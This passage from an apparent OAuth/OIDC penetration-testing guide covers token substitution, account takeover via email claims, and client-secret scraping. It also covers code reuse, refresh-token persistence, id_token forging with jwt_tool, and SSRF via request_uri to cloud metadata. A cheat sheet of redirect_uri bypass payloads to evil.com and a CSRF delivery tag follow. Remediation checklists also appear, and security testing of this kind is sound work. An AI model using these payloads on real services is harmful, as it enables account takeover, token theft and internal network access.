{ "iss": "https://evil.com", "sub": "admin@target.com", "aud": "CLIENT_ID" }
# If issuer not validated → accepted as legitimate

14.3 Token Substitution in SSO

# Multi-app SSO scenario:
# App A and App B both trust the same IdP (Identity Provider)
# Attacker gets a valid id_token/access_token from App A
# Submits it to App B's callback

# Vulnerable if App B doesn't check:
# 1. "aud" claim (audience) — token is for App A, not App B
# 2. Session binding — token not tied to App B's session
# 3. One-time use — same code/token accepted multiple times

# Test:
# 1. Complete login to App A, capture id_token
# 2. Directly POST id_token to App B's OIDC callback endpoint
# 3. If App B creates a session → audience validation missing

14.4 Account Takeover via Email Claim

# Some apps link OAuth identity to existing accounts based on email:
# id_token: { "email": "victim@example.com", "sub": "attacker_sub" }

# If attacker can control the email in id_token:
# → Register at a rogue OIDC provider that lets you set arbitrary email
# → Forge id_token if signature check is weak
# → App links to victim's account based on matching email

# Also: "email_verified": false — if not checked, unverified email accepted
# Forge id_token with email_verified omitted or false + victim's email

15. Provider & Client Misconfiguration

15.1 Client Secret in Frontend Code

# Find client_secret in JS bundles, mobile apps, or GitHub:

# JS bundle scraping:
curl -s https://app.com/static/js/main.chunk.js | grep -iE "client_secret|clientSecret"
python3 SecretFinder.py -i https://app.com -o cli -e "\.js$"

# APK decompilation:
apktool d target.apk -o decompiled/
grep -r "client_secret\|CLIENT_SECRET\|oauth_secret" decompiled/

# GitHub search:
# gh secret scan: https://github.com/settings/security-analysis
# GitHub dorks:
# "client_secret" "oauth" "target.com" site:github.com
# filename:.env "CLIENT_SECRET"
# filename:config.js "clientSecret"

# Once found:
# Exchange any intercepted code for tokens directly
# Forge signed requests as the legitimate client
# Access token introspection endpoint with client credentials

15.2 Refresh Token Never Expires

# Test: obtain a refresh token, then:
# 1. Change account password
# 2. Revoke sessions in app settings
# 3. Logout
# 4. Wait (days, weeks)
# After each action, try exchanging refresh token:

curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=refresh_token" \
  -d "refresh_token=CAPTURED_REFRESH_TOKEN" \
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET"

# If tokens still returned after logout/password change → persistent access
# High severity: stolen refresh token = permanent account access

15.3 Unenforced redirect_uri on Token Exchange

# Some AS validate redirect_uri in /authorize but NOT in /token exchange
# RFC 6749 §4.1.3 requires redirect_uri in /token to match /authorize

# Test: complete normal /authorize, capture code
# Exchange code with DIFFERENT redirect_uri:
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://evil.com/callback"   ← different from /authorize
  -d "client_id=CLIENT_ID" \
  -d "client_secret=SECRET"

# If tokens returned → redirect_uri not validated at token exchange

15.4 Authorization Code Reuse

# RFC 6749: authorization codes MUST be single-use
# Double-exchange should invalidate ALL tokens issued from that code

# Test: capture a code, exchange it twice:
# Exchange 1:
curl -X POST https://as.target.com/oauth/token -d "code=AUTH_CODE&..."
# Exchange 2 (same code):
curl -X POST https://as.target.com/oauth/token -d "code=AUTH_CODE&..."

# Expected: second exchange returns error
# Vulnerable: second exchange also returns tokens
# Also vulnerable: second exchange fails BUT doesn't revoke tokens from first exchange

16. Token Endpoint Attacks

16.1 Client Impersonation

# Client authentication at /token endpoint:
# Confidential clients authenticate via:
# → HTTP Basic Auth: Authorization: Basic base64(client_id:client_secret)
# → POST body: client_id + client_secret parameters
# → Private key JWT (RFC 7523)
# → mTLS (RFC 8705)

# Attack: if AS doesn't validate client authentication:
curl -X POST https://as.target.com/oauth/token \
  -d "grant_type=authorization_code" \
  -d "code=AUTH_CODE" \
  -d "redirect_uri=https://app.com/callback" \
  -d "client_id=TARGET_CLIENT_ID"   ← legitimate client_id, no secret
  # If tokens returned → AS not enforcing client authentication

# Cross-client code theft:
# Code issued to Client A exchanged by Client B
# Some AS don't bind codes to the client that requested them
curl -X POST https://as.target.com/oauth/token \
  -d "code=CODE_FOR_CLIENT_A" \
  -d "client_id=CLIENT_B" \
  -d "client_secret=CLIENT_B_SECRET"

16.2 Token Introspection Abuse

# RFC 7662 — Token Introspection endpoint
# Allows resource servers to validate tokens
# If not properly authenticated:

curl -X POST https://as.target.com/oauth/introspect \
  -d "token=TARGET_ACCESS_TOKEN"
  # No client authentication → anyone can check token validity and claims

# Information disclosure:
{
  "active": true,
  "sub": "user_id_12345",
  "scope": "openid profile email admin",
  "client_id": "CLIENT_ID",
  "username": "admin@target.com",
  "exp": 1716239022
}
# → Reveals user identity, scopes, and internal user IDs

17. Automation & Tools

17.1 Burp Suite — OAuth Testing

# Essential Burp extensions for OAuth testing:
→ OAuth Scanner (PortSwigger / BApp Store)
→ CSRF Scanner
→ Autorize — test privilege escalation with different tokens
→ JSON Web Tokens (JWT Editor) — for OIDC id_token attacks

# Burp workflow:
1. Proxy → Intercept ON
2. Initiate OAuth flow in browser
3. Capture /authorize request — note all parameters
4. Capture /callback request — note state, code
5. Capture /token exchange — note what's sent / received
6. Modify each parameter in Repeater
7. Burp Collaborator: use for SSRF testing (request_uri, redirect_uri)

17.2 jwt_tool — OIDC / id_token Attacks

# Install:
git clone https://github.com/ticarpi/jwt_tool
pip3 install -r requirements.txt

# Decode and inspect id_token:
python3 jwt_tool.py ID_TOKEN

# Test none algorithm on id_token:
python3 jwt_tool.py ID_TOKEN -X a

# Test RS256 → HS256 key confusion (requires public key):
python3 jwt_tool.py ID_TOKEN -X k -pk public_key.pem

# Tamper claims and resign:
python3 jwt_tool.py ID_TOKEN -T -S hs256 -p "SECRET"

17.3 Manual PKCE Generator

#!/usr/bin/env python3
# Generate valid PKCE code_verifier and code_challenge
import secrets, hashlib, base64

# Generate code_verifier (43-128 URL-safe chars):
code_verifier = secrets.token_urlsafe(64)

# Compute code_challenge (S256 method):
digest = hashlib.sha256(code_verifier.encode()).digest()
code_challenge = base64.urlsafe_b64encode(digest).rstrip(b'=').decode()

print(f"code_verifier:  {code_verifier}")
print(f"code_challenge: {code_challenge}")
print(f"code_challenge_method: S256")

17.4 OAuth Recon Script

#!/bin/bash
# Quick OAuth endpoint discovery
TARGET=$1

echo "[*] Fetching OIDC discovery..."
curl -sk "$TARGET/.well-known/openid-configuration" | python3 -m json.tool

echo "[*] Fetching OAuth metadata..."
curl -sk "$TARGET/.well-known/oauth-authorization-server" | python3 -m json.tool

echo "[*] Checking JWKS endpoint..."
curl -sk "$TARGET/.well-known/jwks.json" | python3 -m json.tool

echo "[*] Testing dynamic registration..."
curl -sk -X POST "$TARGET/connect/register" \
  -H "Content-Type: application/json" \
  -d '{"redirect_uris":["https://evil.com"],"grant_types":["authorization_code"]}'

echo "[*] Testing unauthenticated token introspection..."
curl -sk -X POST "$TARGET/oauth/introspect" -d "token=test123"

echo "[*] Done."

17.5 OAuth Test Checklist (Burp / Manual)

PARAMETER          TEST                                          EXPECTED (SECURE)
─────────────────────────────────────────────────────────────────────────────────
redirect_uri       Change to evil.com                           Error / Blocked
redirect_uri       Path traversal (/../evil)                    Error
redirect_uri       Different value at /token vs /authorize      Error
state              Remove or change on callback                 Error / Rejected
state              Use same state in two flows                  Second should fail
code               Exchange twice                               Second fails + revoke
code               Exchange with wrong redirect_uri             Error
code               Exchange without client_secret (conf. client) Error
code_challenge     Remove entirely from /authorize              Error (if PKCE enforced)
code_verifier      Wrong value at /token                        Error
code_verifier      Remove entirely from /token                  Error
scope              Add admin/write scopes                       Rejected or not granted
response_type      Change to token (implicit)                   Rejected (if disabled)
nonce              Remove from /authorize → replay id_token     Error
request_uri        Point to Burp Collaborator                   No outbound request

18. Remediation

18.1 For Authorization Servers

REDIRECT_URI:
├── Exact string match only — no wildcard, no prefix, no regex
├── Validate redirect_uri at BOTH /authorize AND /token endpoints
├── Reject URI schemes other than https:// (no http://, custom schemes for web)
├── Reject open redirect patterns in registered redirect_uris during registration
└── Reject dynamic client registration without authentication / admin approval

STATE:
├── Require state parameter for all authorization code flows
├── Validate state on callback — reject if missing or mismatch
└── State must be tied to session, high-entropy, single-use

PKCE:
├── Require PKCE for ALL public clients (SPAs, mobile apps)
├── Validate code_verifier against code_challenge on EVERY token exchange
├── Reject code_challenge_method=plain in production
└── Consider requiring PKCE for confidential clients too (RFC 9700 recommends it)

CODES & TOKENS:
├── Authorization codes: single-use, short-lived (max 60 seconds — RFC recommends ≤10 min)
├── Double exchange of code: immediately revoke ALL tokens from that code + alert
├── Bind authorization code to: client_id, redirect_uri, code_challenge
├── Refresh tokens: rotate on each use (refresh token rotation — RFC 6749 §10.4)
├── Revoke refresh tokens on: password change, logout, suspicious activity
└── Implement refresh token absolute expiry (even if not used)

SCOPES:
├── Never grant more scopes than the client registered for
├── Never grant more scopes than the user consented to
├── Validate scope at resource server, not just at authorization time
└── Separate admin/sensitive scopes with extra consent prompt

18.2 For Client Applications

REDIRECT URI:
├── Register exact redirect_uri with no path flexibility
├── Use HTTPS only for redirect_uri
└── Ensure redirect_uri page has no open redirects, XSS, or third-party resources
    that receive the Referer header before the code is consumed

STATE:
├── Always generate and validate state
├── Use high-entropy random state (≥32 bytes from CSPRNG)
├── Tie state to user session or device fingerprint
└── State is single-use — invalidate after validating on callback

PKCE:
├── Always use PKCE for public clients
├── code_verifier: 43-128 chars, from CSPRNG (secrets.token_urlsafe in Python)
├── Use S256 method — never plain
└── Never log or expose code_verifier

TOKEN HANDLING:
├── Store tokens in memory or httpOnly Secure cookies — never localStorage for sensitive tokens
├── Implement token refresh before expiry — don't expose expired token errors to users
├── On logout: revoke access token AND refresh token at AS (call /revoke endpoint)
└── Validate id_token: issuer, audience, expiry, nonce, signature

SECRETS:
├── Never embed client_secret in frontend JS, mobile app, or version control
├── Use environment variables / secret managers (Vault, AWS Secrets Manager)
├── Rotate client_secret if ever exposed
└── Public clients have no client_secret — use PKCE instead

18.3 OIDC-Specific

id_token VALIDATION (required by OIDC spec):
├── Verify signature using JWKS from issuer's discovery document
├── Check "iss" matches expected issuer
├── Check "aud" includes your client_id
├── Check "exp" has not passed
├── Check "iat" is recent (prevent old token reuse)
├── Verify "nonce" matches the value sent in /authorize (prevents replay)
└── Never accept id_token with alg=none

ACCOUNT LINKING:
├── Never link accounts based on email alone — use "sub" claim + "iss" pair
├── "email_verified": false → do not trust email for linking
└── For existing account linking: require authenticated session + user confirmation

19. Master Cheat Sheet

Quick Attack Reference

# ── TEST STATE PARAMETER ──
# Remove state: /callback?code=CODE  (no state)
# Wrong state:  /callback?code=CODE&state=AAAAAAA

# ── FORCE CSRF LINK (no state / unvalidated state) ──
# 1. Initiate auth as attacker, capture callback URL before it loads
# 2. Deliver to victim: <img src="https://app.com/callback?code=ATTACKER_CODE">

# ── REDIRECT_URI BYPASS ATTEMPTS ──
redirect_uri=https://evil.com
redirect_uri=https://app.com.evil.com/callback
redirect_uri=https://app.com/callback/../evil
redirect_uri=https://app.com@evil.com/callback
redirect_uri=https://app.com/logout?next=https://evil.com   # open redirect chain

# ── SCOPE ESCALATION ──
scope=openid+profile+email+admin
scope=openid+profile+email+offline_access
scope=openid+profile+email+write:admin

# ── PKCE TESTS ──
# Remove code_challenge from /authorize
# Remove code_verifier from /token exchange
# Send wrong code_verifier at /token

# ── IMPLICIT FLOW FORCE ──
response_type=token
response_type=code+token    # hybrid — get both

# ── SSRF VIA request_uri ──
request_uri=http://BURP_COLLABORATOR/
request_uri=http://169.254.169.254/latest/meta-data/
request_uri=http://internal-api.corp/admin

# ── EXCHANGE CODE TWICE (code reuse test) ──
curl -X POST /token -d "code=AUTH_CODE&..." # first exchange
curl -X POST /token -d "code=AUTH_CODE&..." # second — should fail

# ── CODE EXCHANGE WITHOUT SECRET (public client test) ──
curl -X POST /token -d "grant_type=authorization_code&code=CODE&client_id=CLIENT_ID&redirect_uri=..."

# ── REFRESH TOKEN PERSISTENCE ──
curl -X POST /token -d "grant_type=refresh_token&refresh_token=RT&client_id=..."
# Try after: logout / password change / session revoke

# ── DYNAMIC CLIENT REGISTRATION ──
curl -X POST https://as.target.com/connect/register \
  -H "Content-Type: application/json" \
  -d '{"redirect_uris":["https://evil.com"],"grant_types":["authorization_code"]}'

# ── UNAUTHENTICATED INTROSPECTION ──
curl -X POST https://as.target.com/oauth/introspect -d "token=ACCESS_TOKEN"

Attack Decision Summary

VULNERABILITY                  IMPACT                          SECTION
──────────────────────────────────────────────────────────────────────────
Missing / weak state           Account takeover via CSRF       §5
redirect_uri wildcard          Steal auth code / token         §4
Open redirect chain            Bypass redirect_uri whitelist   §8
PKCE not enforced              Code interception               §10
Code reuse allowed             Token theft                     §6.3
Implicit flow in use           Token in URL → theft            §13
Token in Referer               Code/token stolen by 3rd party  §7.1
Scope not validated            Privilege escalation            §9
Refresh token never expires    Persistent access               §15.2
Client secret in frontend      Full client impersonation       §15.1
request_uri SSRF               Internal network access         §12
id_token aud not checked       Cross-client account access     §14.2
nonce not validated            id_token replay attack          §14.1
Dynamic registration open      Register attacker client        §4.5

MITRE ATT&CK Mapping

T1550.001  Use Alternate Authentication Material: Application Access Token
T1528      Steal Application Access Token
T1190      Exploit Public-Facing Application
T1212      Exploitation for Credential Access
T1539      Steal Web Session Cookie (refresh token theft)
T1110.003  Password Spraying (client credential brute force)
T1566      Phishing (delivering CSRF / state bypass links)

← Web top ↑